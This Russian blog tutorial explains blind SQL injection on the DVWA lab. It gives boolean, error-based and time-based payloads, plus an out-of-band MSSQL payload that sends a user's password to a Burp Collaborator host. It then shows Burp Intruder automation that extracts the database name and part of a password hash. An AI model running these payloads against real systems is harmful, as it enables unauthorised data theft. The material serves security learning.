Blind SQLi простыми словами by artrone
Всех приветствую! В данной статье рассмотрим понятие, как "Слепая SQL инъекция". Я постараюсь очень понятным языком донести до вас всю суть.
Немного теории
Слепая инъекция SQL возникает, когда приложение уязвимо для инъекции SQL, но его HTTP-ответы не содержат результатов соответствующего SQL-запроса или сведений об ошибках базы данных.
Из-за уязвимостей слепых SQL-инъекций многие методы, такие как UNION
атаки, неэффективны потому, что они полагаются на возможность видеть результаты введенного запроса в ответах приложения. По-прежнему, можно использовать слепую инъекцию SQL для доступа к несанкционированным данным, но необходимо использовать другие методы.
"Виды использования" Blind SQLI
Пример: admin' AND SUBSTRING((SELECT password FROM users WHERE user = 'admin'), 1, 1) > 'a' — -
Пример: admin' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END)='a' — -
Пример: '; IF (1=2) WAITFOR DELAY '0:0:10'— -
- Использование слепых SQL-инъекций с использованием внеполосных (OAST) методов (делается через PRO версию BurpSuite)
Пример: '; declare @p varchar(1024);set @p=(SELECT password FROM users WHERE username='Administrator');exec('master..xp_dirtree "//'+@p+'.cwcsgt05ikji0n1f2qlzn5118sek29.burpcollaborator.net/a"')--
Учимся на примере
Итак, для начала предлагаю подставить " ' " и убедиться в наличии ошибки синтаксиса также, как при обычной SQLi:
Как мы видим, никакой ошибки не появилось, и даже, напротив, всё вывелось корректно.
Хорошо, давайте проверим вывод с логической истиной:
Ага, все работает. А существует ли вообще уязвимость? Давайте проверим путем "временной задержки":
Как мы видим, задержка в 5 секунд действительно срабатывает, но вывод остается пустым.
Давайте окончательно убедимся в существовании уязвимости и проверим количество столбцов через оператор order by :
В результате мы получили, что в запросе используется 2 колонки.
При попытке узнать, что "используется 3 колонки", мы получаем пустой вывод, как бы получая в результате, что "такого пользователя нет в базе данных"
Если короче, то можно подытожить и сказать: "Если в ответе получаем пустоту, то данная запись не существует в базе данных и наоборот"
После того, как разобрались с шагом выше, предлагаю начать доставать данные из БД. Для этого, реализуем такой запрос:
1' AND (SELECT LENGTH(DATABASE())=2) — -
Что это за запрос? Дело в том, что в данном запросе используется функция "сравнения". Заведомо зная о существовании пользователя с id=1, мы можем использовать это в своих целях- мы "достаем" длину названия БД и сравниваем ее с нашим значением. В данном случае, с 2.
Но в ответе пустота, поэтому подбираем дальше:
Как мы видим, длина названия БД - 4 символа. Предлагаю узнать эти символы. Для этого будем использовать замечательный оператор SUBSTR
:
1' AND (SELECT SUBSTR(DATABASE(),1,1)='a') — -
В данном запросе мы говорим, что первая буква в названии БД - буква "a". Если это истина, то вывод будет не пустым, иначе пустота.
1' AND (SELECT ascii(SUBSTR(DATABASE(),1,1))> 1) — -
Что поменялось? По сути-то ничего, только теперь мы сравниваем не с конкретным алфавитом, а с таблицой аски. Кому-то этот способ нравится больше)
Но вы наверно уже смекнули, что букв немало и длина может быть 10+ символов? Безусловно, руками это всё перебирать- заёб.
Именно поэтому мы будем пользоваться BurpSuite'ом.
Далее отправляем его в Intruder и "обставляем" с двух сторон наш символ, который должен меняться:
Далее заходим во вкладку "Payloads" и добавляем символы a-z, 0-9:
Затем запускаем и ждем результата:
Я думаю, по длине ответа видно, что "d" является первой буквой названия БД.
Предлагаю полностью автоматизировать процесс и сделать так, чтобы название само подобралось, меняя аргумент в SUBSTR (меняя первую циферку, которая обозначает символ названия по счету):
Для этого выбираем тип атаки "Cluster bomb" и опять "обставляем" с двух сторон символ, но на этот раз первый аргумент из SUBSTR - SUBSTR(DATABASE(),1,1):
Поскольку цифра из SUBSTR стоит первее, то и она будет является "первым пэйлодом". Выбираем тип "цифры" и ставим от 1 до 4, поскольку длина БД = 4.
Проверяем суммарное количество запросов, затем запускам и ждем-с:
Как мы видим, мы получили "dvwa". Отлично!
Бонус
В качестве бонуса предлагаю пробежаться по получению пароля.
Из прошлого урока мы знаем, что креды хранятся в таблице users. Поэтому пропустим шаг с ее нахождением.
Выполняя те же действия, что и раньше, давайте узнаем длину пароля пользователя admin:
Поскольку при значении >30, вывод не пуст, а при значении >31 пуст, то мы делаем вывод, что длина пароля = 31. Я полагаю, что это хеш, но давайте точно узнаем:
Хочу сказать, что данный способ оооооооооочень долгий. Я не знаю, с чем это связано. Возможно из-за того, что мой Burp использует Chronium в качестве дефолтного браузера (если знаете фикс, то напишите мне в тг). Именно поэтому, я не смог выдержать всего пути и в результате получил лишь часть)))
Сверху полученный пароль, а снизу оригинальный. Как мы видим, способ действенный. Но на него нужно время.
Напишите в комментариях, было ли всё понятно?
НАШ ТГ-КАНАЛ: https://t.me/hackerblog